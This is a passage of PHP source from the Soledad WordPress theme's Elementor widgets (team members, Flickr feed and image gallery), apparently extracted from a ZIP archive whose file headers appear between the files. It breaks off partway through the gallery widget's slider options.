				'{{WRAPPER}} .penci-teammb-s2 .penci-teammb-img' => 'margin-bottom: {{SIZE}}px',
				'{{WRAPPER}} .penci-teammb-s1 .penci-teammb-img' => 'margin-bottom: {{SIZE}}px',
			),
			'condition' => array( 'style' => array( 's1', 's2' ) ),
		) );

		$this->add_control( 'team_name_martop', array(
			'label'     => __( 'Name Top Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-teammb-bsc .penci-team_member_name' => 'margin-top: {{SIZE}}px',
			),
		) );

		$this->add_control( 'team_pos_martop', array(
			'label'     => __( 'Position Text Top Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-team_member_pos, {{WRAPPER}} .penci-team_member_name + .penci-team_member_pos' => 'margin-top: {{SIZE}}px' ),
		) );

		$this->add_control( 'team_desc_martop', array(
			'label'     => __( 'Description Top Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-team_member_desc' => 'margin-top: {{SIZE}}px' ),
		) );

		$this->add_responsive_control( 'social_space', array(
			'label'     => __( 'Spacing Between Icons', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-team_member_socails .penci-social-item' => 'margin-left: calc( {{SIZE}}px / 2 );margin-right: calc( {{SIZE}}px / 2 );' ),
		) );

		$this->add_control( 'team_social_martop', array(
			'label'     => __( 'Social Icons Top Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-team_member_socails' => 'margin-top: {{SIZE}}px' ),
		) );

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_style_content', array(
			'label' => __( 'Team Members', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'heading_all', array(
			'label' => __( 'Team Members', 'soledad' ),
			'type'  => Controls_Manager::HEADING,
		) );

		$this->add_responsive_control( 'team_padding', array(
			'label'      => __( 'Content Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-teammb-s1 .penci-teammb-inner'    => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-teammb-s2 .penci-teammb-inner'    => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-teammb-s3 .penci-team_item__info' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array( 'style' => array( 's1', 's2', 's3' ) ),
		) );

		$this->add_control( 'team_bghcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-teammb-inner' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'team_borderhcolor', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-teammb-inner' => 'border:1px solid {{VALUE}};' ),
		) );

		$this->add_responsive_control( 'team_bdw', array(
			'label'      => __( 'Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-teammb-s1 .penci-teammb-inner' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-teammb-s2 .penci-teammb-inner' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array( 'style' => array( 's1', 's2' ) ),
		) );

		$this->add_control( 'heading_team_name', array(
			'label' => __( 'Name', 'soledad' ),
			'type'  => Controls_Manager::HEADING,
		) );

		$this->add_control( 'team_name_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-team_member_name' => 'color: {{VALUE}};' ),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'team_name_typo',
			'selector' => '{{WRAPPER}} .penci-team_member_name',
		) );

		$this->add_control( 'heading_team_pos', array(
			'label'     => __( 'Position', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'team_pos_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-team_member_pos' => 'color: {{VALUE}};' ),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'team_pos_typo',
			'selector' => '{{WRAPPER}} .penci-team_member_pos',
		) );

		$this->add_control( 'heading_team_desc', array(
			'label'     => __( 'Description', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'team_desc_hcolor', array(
			'label'     => __( 'Description Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-team_member_desc' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'team_desc_typo',
			'selector' => '{{WRAPPER}} .penci-team_member_desc',
		) );

		$this->add_control( 'heading_team_social', array(
			'label'     => __( 'Social Icons', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'team_social_color', array(
			'label'     => __( 'Social Icons Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-social-wrap .penci-social-item, {{WRAPPER}} .penci-social-wrap .penci-social-item i' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'team_social_hcolor', array(
			'label'     => __( 'Social Icons Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-social-wrap .penci-social-item:hover, {{WRAPPER}} .penci-social-wrap .penci-social-item:hover i' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'social_bgcolor', array(
			'label'     => __( 'Social Icons Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-social-wrap .penci-social-item i' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'social_bghcolor', array(
			'label'     => __( 'Social Icons Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-social-wrap .penci-social-item:hover i' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'social_bdcolor', array(
			'label'     => __( 'Social Icons Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-social-wrap .penci-social-item i' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'social_bdhcolor', array(
			'label'     => __( 'Social Icons Hover Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-social-wrap .penci-social-item:hover i' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_responsive_control( 'social_size', array(
			'label'     => __( 'Icons Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-social-wrap .penci-social-item i' => 'font-size: {{SIZE}}px;'
			),
		) );

		$this->add_responsive_control( 'social_width', array(
			'label'     => __( 'Social Icons Width/Height', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-teammb-bsc' => '--pcteammb-w: {{SIZE}}px;'
			),
		) );

		$this->add_responsive_control( 'social_bdw', array(
			'label'     => __( 'Social Icons Borders Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcteam-shape .penci-social-item i' => 'border-width: {{SIZE}}px;'
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		if ( ! $settings['teammembers'] ) {
			return;
		}
		$social_colorcss = '';
		$team_members    = (array) $settings['teammembers'];
		$style           = isset( $settings['style'] ) ? $settings['style'] : 's1';
		$image_size      = isset( $settings['penci_img_size'] ) ? $settings['penci_img_size'] : 'penci-masonry-thumb';
		$social_shape    = isset( $settings['social_shape'] ) ? $settings['social_shape'] : 'default';
		$social_style    = isset( $settings['social_style'] ) ? $settings['social_style'] : 'default';
		$social_colors   = isset( $settings['social_colors'] ) ? $settings['social_colors'] : 'default';
		if ( 'default' != $social_shape && 'default' == $social_style ) {
			$social_style = 'filled';
		}
		$titpos = isset( $settings['titpos'] ) ? $settings['titpos'] : 'default';
		if ( 'brandbg' == $social_colors ) {
			$social_colorcss = ' penci-social-colored';
		} else if ( 'brandtext' == $social_colors ) {
			$social_colorcss = ' penci-social-textcolored';
		}

		$css_class = 'penci-block-vc penci-teammb-bsc';
		if ( 's5' == $style ) {
			$css_class .= ' penci-teammb-s4';
		}
		$css_class     .= ' penci-teammb-' . $style;
		$css_class     .= ' pencisc-grid-' . $settings['columns'];
		$column_tablet = isset( $settings['columns_tablet'] ) ? $settings['columns_tablet'] : '2';
		$column_mobile = isset( $settings['columns_mobile'] ) ? $settings['columns_mobile'] : '1';
		$css_class     .= ' pencisc-grid-tablet-' . $column_tablet;
		$css_class     .= ' pencisc-grid-mobile-' . $column_mobile;
		if ( 'default' != $social_shape || 'default' != $social_style ) {
			$css_class .= ' pcteam-shape';
		}
		$css_class .= ' pcsc-shape-' . $social_shape;
		$css_class .= ' pcsc-st-' . $social_style;
		$title_pos = 'below';
		if ( 's1' == $style ) {
			$title_pos = 'above';
		}
		if ( 'above' == $titpos || 'below' == $titpos ) {
			$title_pos = $titpos;
		}
		?>
        <div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-block_content pencisc-grid">
				<?php
				$link_target = 'target="_blank"';

				if ( ! get_theme_mod( 'penci_dis_noopener' ) ) {
					$link_target .= ' rel="noopener"';
				}
				foreach ( (array) $team_members as $item ) {

					$name_item     = isset( $item['name'] ) ? $item['name'] : '';
					$desc_item     = isset( $item['desc'] ) ? $item['desc'] : '';
					$position_item = isset( $item['position'] ) ? $item['position'] : '';

					$link_avatar_item    = isset( $item['link_website'] ) ? $item['link_avatar'] : '';
					$link_website_item   = isset( $item['link_website'] ) ? $item['link_website'] : '';
					$link_facebook_item  = isset( $item['link_facebook'] ) ? $item['link_facebook'] : '';
					$link_twitter_item   = isset( $item['link_twitter'] ) ? $item['link_twitter'] : '';
					$link_linkedin_item  = isset( $item['link_linkedin'] ) ? $item['link_linkedin'] : '';
					$link_instagram_item = isset( $item['link_instagram'] ) ? $item['link_instagram'] : '';
					$link_dribbble_item  = isset( $item['link_dribbble'] ) ? $item['link_dribbble'] : '';

					$link_youtube_item   = isset( $item['link_youtube'] ) ? $item['link_youtube'] : '';
					$link_vimeo_item     = isset( $item['link_vimeo'] ) ? $item['link_vimeo'] : '';
					$link_pinterest_item = isset( $item['link_pinterest'] ) ? $item['link_pinterest'] : '';
					$image_id            = isset( $item['image']['id'] ) ? $item['image']['id'] : '';
					$url_img_item        = Utils::get_placeholder_image_src();
					if ( $image_id ) {
						$url_img_item_array = wp_get_attachment_image_src( $image_id, $image_size );
						if ( isset( $url_img_item_array[0] ) && $url_img_item_array[0] ) {
							$url_img_item = $url_img_item_array[0];
						} else {
							$url_img_item = $item['image']['url'];
						}
					}
					?>
                    <div class="penci-teammb-item pencisc-grid-item">
                        <div class="penci-teammb-inner">
							<?php
							if ( $url_img_item ) {

								$link_before = $link_after = 'span';

								if ( $link_avatar_item ) {
									$link_before = 'a target="_blank" href="' . esc_url( $link_avatar_item ) . '"';
									$link_after  = 'a';
								}

								echo '<' . $link_before . ' '.penci_layout_bg( $url_img_item ).' class="penci-image-holder penci-teammb-img '.penci_layout_bg_class().'">' . penci_layout_img( $url_img_item ) . '</' . $link_after . '>';

							}
							?>
                            <div class="penci-team_item__info">
								<?php if ( $position_item && ( 'below' == $title_pos ) ): ?>
                                    <div class="penci-team_member_pos"><?php echo $position_item; ?></div>
								<?php endif; ?>
								<?php if ( $name_item ): ?>
                                    <h5 class="penci-team_member_name"><?php echo $name_item; ?></h5>
								<?php endif; ?>
								<?php if ( $position_item && ( 'above' == $title_pos ) ): ?>
                                    <div class="penci-team_member_pos"><?php echo $position_item; ?></div>
								<?php endif; ?>
								<?php if ( $desc_item ): ?>
                                    <div class="penci-team_member_desc"><?php echo $desc_item; ?></div>
								<?php endif; ?>
                                <div class="penci-team_member_socails penci-social-wrap<?php echo $social_colorcss; ?>">
									<?php if ( $link_website_item ): ?>
                                        <a <?php echo $link_target ?>class="penci-social-item penci-social-item website"
                                           href="<?php echo esc_url( $link_website_item ); ?>"><?php penci_fawesome_icon( 'fas fa-globe' ); ?></a>
									<?php endif; ?>
									<?php if ( $link_facebook_item ): ?>
                                        <a <?php echo $link_target ?>
                                                class="penci-social-item penci-social-item facebook-f"
                                                href="<?php echo esc_url( $link_facebook_item ); ?>"><?php penci_fawesome_icon( 'fab fa-facebook-f' ); ?></a>
									<?php endif; ?>
									<?php if ( $link_twitter_item ): ?>
                                        <a <?php echo $link_target ?>class="penci-social-item penci-social-item twitter"
                                           href="<?php echo esc_url( $link_twitter_item ); ?>"><?php penci_fawesome_icon( 'penciicon-x-twitter' ); ?></a>
									<?php endif; ?>

									<?php if ( $link_linkedin_item ): ?>
                                        <a <?php echo $link_target ?>
                                                class="penci-social-item penci-social-item linkedin"
                                                href="<?php echo esc_url( $link_linkedin_item ); ?>"><?php penci_fawesome_icon( 'fab fa-linkedin-in' ); ?></a>
									<?php endif; ?>
									<?php if ( $link_instagram_item ): ?>
                                        <a <?php echo $link_target ?>
                                                class="penci-social-item penci-social-item instagram"
                                                href="<?php echo esc_url( $link_instagram_item ); ?>"><?php penci_fawesome_icon( 'fab fa-instagram' ); ?></a>
									<?php endif; ?>
									<?php if ( $link_youtube_item ): ?>
                                        <a <?php echo $link_target ?>class="penci-social-item penci-social-item youtube"
                                           href="<?php echo esc_url( $link_youtube_item ); ?>"><?php penci_fawesome_icon( 'fab fa-youtube' ); ?></a>
									<?php endif; ?>
									<?php if ( $link_vimeo_item ): ?>
                                        <a <?php echo $link_target ?> class="penci-social-item penci-social-item vimeo"
                                                                      href="<?php echo esc_url( $link_vimeo_item ); ?>"><?php penci_fawesome_icon( 'fab fa-vimeo-v' ); ?></a>
									<?php endif; ?>
									<?php if ( $link_pinterest_item ): ?>
                                        <a <?php echo $link_target ?>
                                                class="penci-social-item penci-social-item pinterest"
                                                href="<?php echo esc_url( $link_pinterest_item ); ?>"><?php penci_fawesome_icon( 'fab fa-pinterest' ); ?></a>
									<?php endif; ?>
									<?php if ( $link_dribbble_item ): ?>
                                        <a <?php echo $link_target ?>
                                                class="penci-social-item penci-social-item dribbble"
                                                href="<?php echo esc_url( $link_dribbble_item ); ?>"><?php penci_fawesome_icon( 'fab fa-dribbble' ); ?></a>
									<?php endif; ?>
                                </div>
                            </div>
                        </div>
                    </div>
					<?php
				}
				?>
            </div>
        </div>
		<?php
	}
}
PK     N\]A    -  inc/elementor/modules/penci-flickr/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciFlickr;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-flickr';
	}

	public function get_widgets() {
		return array( 'PenciFlickr' );
	}
}
PK     N\IN    ;  inc/elementor/modules/penci-flickr/widgets/penci-flickr.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciFlickr\Widgets;

use Elementor\Controls_Manager;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciFlickr extends Base_Widget {

	public function get_name() {
		return 'penci-flickr';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Flickr Images', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-image';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'flickr', 'social', 'embed', 'image' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section(
			'section_instagram', array(
				'label' => esc_html__( 'Flickr Options', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'username', array(
				'label'       => __( 'Flickr ID', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'description' => __( 'The username ID follows this format: 12341234@N12. You can visit <a target="_blank" href="https://idgettr.com">idgettr.com</a> to convert the username into an ID.', 'soledad' ),
			)
		);

		$this->add_control(
			'images_number', array(
				'label'     => __( 'Number of images to show', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => 9,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'refresh_hour', array(
				'label'       => __( 'Check for new images every', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'default'     => 5,
				'description' => __( 'Unix is hour(s)', 'soledad' ),
			)
		);
		$this->add_control(
			'template', array(
				'label'   => __( 'Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'thumbs',
				'options' => array(
					'thumbs-no-border' => esc_html__( 'Thumbnails - Without Border', 'soledad' ),
					'thumbs'           => esc_html__( 'Thumbnails', 'soledad' ),
					'slider'           => esc_html__( 'Slider - Normal', 'soledad' ),
					'slider-overlay'   => esc_html__( 'Slider - Overlay Text', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'image_size', array(
				'label'   => __( 'Image Size', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'jr_insta_square',
				'options' => array(
					'jr_insta_square' => esc_html__( 'Small - Without Border', 'soledad' ),
					'medium'          => esc_html__( 'Medium', 'soledad' ),
					'full'            => esc_html__( 'Large', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'columns', array(
				'label'     => __( 'Number of Columns', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '3',
				'options'   => array(
					'1'  => '1',
					'2'  => '2',
					'3'  => '3',
					'4'  => '4',
					'5'  => '5',
					'6'  => '6',
					'7'  => '7',
					'8'  => '8',
					'9'  => '9',
					'10' => '10',
				),
				'condition' => array( 'template' => array( 'thumbs-no-border', 'thumbs' ) ),
			)
		);
		$this->add_control(
			'orderby', array(
				'label'   => __( 'Order by', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'rand',
				'options' => array(
					'date-ASC'     => __( 'Date - Ascending', 'soledad' ),
					'date-DESC'    => __( 'Date - Descending', 'soledad' ),
					'popular-ASC'  => __( 'Popularity - Ascending', 'soledad' ),
					'popular-DESC' => __( 'Popularity - Descending', 'soledad' ),
					'rand'         => __( 'Random', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'images_link', array(
				'label'   => __( 'On click action', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'image_url',
				'options' => array(
					''           => __( 'None', 'soledad' ),
					'image_url'  => __( 'Flickr Image', 'soledad' ),
					'user_url'   => __( 'Flickr Profile', 'soledad' ),
					'attachment' => __( 'Attachment Page', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'description', array(
				'label'       => __( 'Slider Text Description', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::SELECT2,
				'default'     => array( 'username', 'time', 'caption' ),
				'multiple'    => true,
				'options'     => array(
					'username' => __( 'Username', 'soledad' ),
					'time'     => __( 'Time', 'soledad' ),
					'caption'  => __( 'Caption', 'soledad' ),
				),
				'condition'   => array( 'template' => array( 'slider', 'slider-overlay' ) ),
			)
		);
		$this->add_control(
			'slidespeed', array(
				'label'     => __( 'Slider Speed (at x seconds)', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => 600,
				'condition' => array( 'template' => array( 'slider', 'slider-overlay' ) ),
			)
		);

		$this->add_control(
			'controls', array(
				'label'   => __( 'Slider Navigation Controls', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'prev_next',
				'options' => array(
					'none'       => __( 'None', 'soledad' ),
					'prev_next'  => __( 'Prev & Next', 'soledad' ),
					'numberless' => __( 'Dotted', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'caption_words', array(
				'label'     => __( 'Number of words in caption', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => 100,
				'condition' => array( 'template' => array( 'slider', 'slider-overlay' ) ),
			)
		);

		$this->end_controls_section();

		$this->register_block_title_section_controls();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		require_once trailingslashit( PENCI_SOLEDAD_DIR ) . 'inc/flickr_feed.php';

		$settings = $this->get_settings();

		$instance_df = array(
			'title'            => '',
			'username'         => '',
			'attachment'       => 0,
			'template'         => 'thumbs',
			'images_link'      => 'image_url',
			'custom_url'       => '',
			'orderby'          => 'rand',
			'images_number'    => 9,
			'columns'          => 3,
			'refresh_hour'     => 12,
			'image_size'       => 'jr_insta_square',
			'image_link_rel'   => '',
			'image_link_class' => '',
			'no_pin'           => 0,
			'controls'         => 'prev_next',
			'animation'        => 'slide',
			'caption_words'    => 100,
			'slidespeed'       => 7000,
			'description'      => array( 'username', 'time', 'caption' ),
		);

		$instance  = shortcode_atts( $instance_df, $settings );
		$css_class = 'penci-block-vc penci_flickr_image_feed penci_instagram_widget-sc penci_instagram_widget penci_insta-' . $instance['template'];
		?>
        <div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-block_content">
				<?php \Penci_Flickr_Feed::display_images( $instance ); ?>
            </div>
        </div>
		<?php
	}
}
PK     N\]"  "  4  inc/elementor/modules/penci-image-gallery/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciImageGallery;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-image-gallery';
	}

	public function get_widgets() {
		return array( 'PenciImageGallery' );
	}
}
PK     N\ "Xi  Xi  I  inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciImageGallery\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciImageGallery extends Base_Widget {

	public function get_name() {
		return 'penci-image-gallery';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Image Gallery', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'facebook', 'social', 'embed', 'page' );
	}

	protected function register_controls() {


		$this->start_controls_section(
			'section_general', array(
				'label' => esc_html__( 'Image Gallery', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'penci_gallery', array(
				'label'      => __( 'Add Images', 'soledad' ),
				'type'       => Controls_Manager::GALLERY,
				'show_label' => false,
			)
		);
		$this->add_control(
			'gallery_style', array(
				'label'   => __( 'Choose Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 's1',
				'options' => array(
					's1'               => esc_html__( 'Style 1 ( Grid )', 'soledad' ),
					's2'               => esc_html__( 'Style 2 ( Mixed )', 'soledad' ),
					's3'               => esc_html__( 'Style 3 ( Mixed 2 )', 'soledad' ),
					'justified'        => esc_html__( 'Style 4 ( Justified )', 'soledad' ),
					'masonry'          => esc_html__( 'Style 5 ( Masonry )', 'soledad' ),
					'single-slider'    => esc_html__( 'Style 6 ( Slider )', 'soledad' ),
					'thumbnail-slider' => esc_html__( 'Style 7 ( Slider with Thumbnail )', 'soledad' ),
				)
			)
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(), array(
				'name'      => 'penci_img',
				'exclude'   => array( 'custom' ),
				'separator' => 'none',
				'default'   => 'medium_large',
				'condition' => array( 'gallery_style' => array( 's1', 's2', 's3' ) ),
			)
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(), array(
				'name'      => 'penci_img_bitem',
				'label'     => __( 'Image Size for Big Items', 'soledad' ),
				'exclude'   => array( 'custom' ),
				'separator' => 'none',
				'default'   => 'large',
				'condition' => array( 'gallery_style' => array( 's2', 's3' ) ),
			)
		);

		$this->add_control(
			'penci_img_type', array(
				'label'                => esc_html__( 'Image Type', 'soledad' ),
				'type'                 => Controls_Manager::SELECT,
				'default'              => 'landscape',
				'options'              => array(
					''          => __( '-- Default --', 'soledad' ),
					'landscape' => __( 'Landscape', 'soledad' ),
					'vertical'  => __( 'Vertical', 'soledad' ),
					'square'    => __( 'Square', 'soledad' ),
					'custom'    => esc_html__( 'Custom', 'soledad' ),
				),
				'selectors_dictionary' => array(
					'landscape' => '66.6667%',
					'vertical'  => '135.4%',
					'square'    => '100%',
				),
				'selectors'            => array( '{{WRAPPER}} .penci-image-holder:before' => ' padding-top: {{VALUE}}' ),
				'condition'            => array( 'gallery_style' => array( 's1', 's2', 's3' ) ),
			)
		);

		$this->add_responsive_control(
			'penci_featimg_ratio', array(
				'label'          => __( 'Image Ratio', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'default'        => array( 'size' => 0.66 ),
				'tablet_default' => array( 'size' => '' ),
				'mobile_default' => array( 'size' => 0.5 ),
				'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
				'selectors'      => array(
					'{{WRAPPER}} .penci-image-holder:before' => 'padding-top: calc( {{SIZE}} * 100% );',
				),
				'condition'      => array( 'penci_img_type' => 'custom' ),
			)
		);

		$this->add_responsive_control(
			'penci_thumbnails_ratio', array(
				'label'          => __( 'Thumbnails Image Ratio', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'default'        => array( 'size' => 1 ),
				'tablet_default' => array( 'size' => '' ),
				'mobile_default' => array( 'size' => 1 ),
				'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
				'selectors'      => array(
					'{{WRAPPER}} .pcgl-thumb-item .penci-image-holder:before' => 'padding-top: calc( {{SIZE}} * 100% );',
				),
				'condition'      => array( 'gallery_style' => 'thumbnail-slider' ),
			)
		);

		$this->add_control(
			'caption_source', array(
				'label'   => __( 'Caption', 'elementor' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'none'       => __( 'None', 'elementor' ),
					'attachment' => __( 'Attachment Caption', 'elementor' ),
				),
				'default' => 'attachment',
			)
		);

		$this->add_responsive_control(
			'gallery_columns', array(
				'label'          => __( 'Columns', 'soledad' ),
				'type'           => Controls_Manager::SELECT,
				'default'        => '3',
				'tablet_default' => '2',
				'mobile_default' => '1',
				'options'        => array(
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
					'5' => '5',
					'6' => '6',
				),
				'condition'      => array( 'gallery_style' => array( 's1', 'masonry' ) ),
			)
		);
		$this->add_control(
			'row_gap', array(
				'label'     => __( 'Rows Gap', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}}  .pencisc-grid' => 'grid-row-gap: {{SIZE}}px' ),
				'condition' => array( 'gallery_style' => array( 's1' ) ),
			)
		);
		$this->add_responsive_control(
			'col_gap', array(
				'label'     => __( 'Columns Gap', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}}  .pencisc-grid' => 'grid-column-gap: {{SIZE}}px' ),
				'condition' => array( 'gallery_style' => array( 's1' ) ),
			)
		);

		$this->add_control(
			'gallery_height', array(
				'label'     => __( 'Custom the height of images', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => '',
				'condition' => array( 'gallery_style' => array( 'justified', 'masonry' ) ),

			)
		);

		$this->end_controls_section();

		// Options slider
		$this->start_controls_section( 'section_slider_options', array(
			'label' => __( 'Slider Options', 'soledad' ),
			'condition' => array( 'gallery_style' => array( 'single-slider' ) ),
		) );
		$this->add_control( 'single_slider_effect', array(
			'label'       => __( 'Slider Effect', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_fslider_single_slider_effect', 'creative' ),
			'options'     => array(
				'slide'     => 'Slide',
				'fade'      => 'Fade',
